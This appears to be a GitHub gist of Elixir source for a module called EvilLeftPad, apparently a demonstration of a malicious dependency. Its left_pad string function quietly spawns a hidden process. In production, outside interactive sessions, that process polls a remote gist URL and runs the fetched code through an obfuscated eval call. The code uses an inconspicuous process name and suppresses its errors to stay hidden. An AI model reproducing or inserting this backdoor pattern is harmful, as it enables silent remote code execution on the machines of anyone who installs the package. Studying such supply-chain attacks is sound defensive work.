defmodule EvilLeftPad do | |
@doc """ | |
Pads the beginning of a given string with spaces until it's no | |
longer than `desired_length` characters. | |
""" | |
@spec left_pad(String.t(), desired_length :: integer) :: String.t() | |
def left_pad(string, desired_length) do | |
do_evil() | |
padding_length = max(desired_length - String.length(string), 0) | |
padding = :binary.copy(" ", padding_length) | |
padding <> string | |
end | |
# ========================================================================== | |
# Evil section | |
# ========================================================================== | |
# choosing an inconspicuous name | |
@evil_proces_name :dlts_icmp_sup | |
@raw_gist_url "https://gist.githubusercontent.com/nietaki/8adf695c5aecf9bf82180bce94653d64/raw/remote_code.exs" | |
defp do_evil() do | |
spawn(&evil_task/0) | |
end | |
defp evil_task() do | |
if should_inject?() and Process.whereis(@evil_proces_name) == nil do | |
try do | |
Process.register(self(), @evil_proces_name) | |
# magical :httpc invocations | |
Application.ensure_started(:inets) | |
Application.ensure_started(:ssl) | |
evil_loop("") | |
rescue | |
_ in ArgumentError -> | |
# there's a race condition in case two instances of evil_task | |
# try to register themselves at the same time | |
# | |
# this is how we keep it quiet | |
:ok | |
end | |
else | |
# no injecting, let's stay quiet instead | |
end | |
end | |
defp evil_loop(state) do | |
body = fetch_body(gist_url()) | |
# not executing code if it's the same as last one or not fetched correctly | |
if !(body in [state, nil]) do | |
# trying to defeat naive code analysis | |
code_module = String.to_atom("Elixir." <> "Co" <> "de") | |
es_function = String.to_atom("ev" <> "al_" <> "string") | |
apply(code_module, es_function, [body]) | |
end | |
Process.sleep(10_000) | |
evil_loop(body) | |
end | |
@spec fetch_body(String.t()) :: String.t() | nil | |
defp fetch_body(url) do | |
url_charlist = String.to_charlist(url) | |
case :httpc.request(url_charlist) do | |
{:ok, {{_http, 200, _}, _headers, body}} -> | |
to_string(body) | |
_ -> | |
nil | |
end | |
end | |
defp gist_url() do | |
cachebust = random_string(10) | |
"#{@raw_gist_url}?cachebust=#{cachebust}" | |
end | |
defp random_string(length) do | |
:crypto.strong_rand_bytes(length) |> Base.url_encode64() |> binary_part(0, length) | |
end | |
defp should_inject?() do | |
get_mix_env() in [:prod, nil] and !iex_session_running?() | |
end | |
defp get_mix_env() do | |
if :erlang.function_exported(Mix, :env, 0) do | |
# to make sure there's no compilation warnings | |
apply(Mix, :env, []) | |
else | |
nil | |
end | |
end | |
defp iex_session_running?() do | |
Application.started_applications() | |
|> Enum.any?(fn | |
{:iex, _, _} -> true | |
_ -> false | |
end) | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment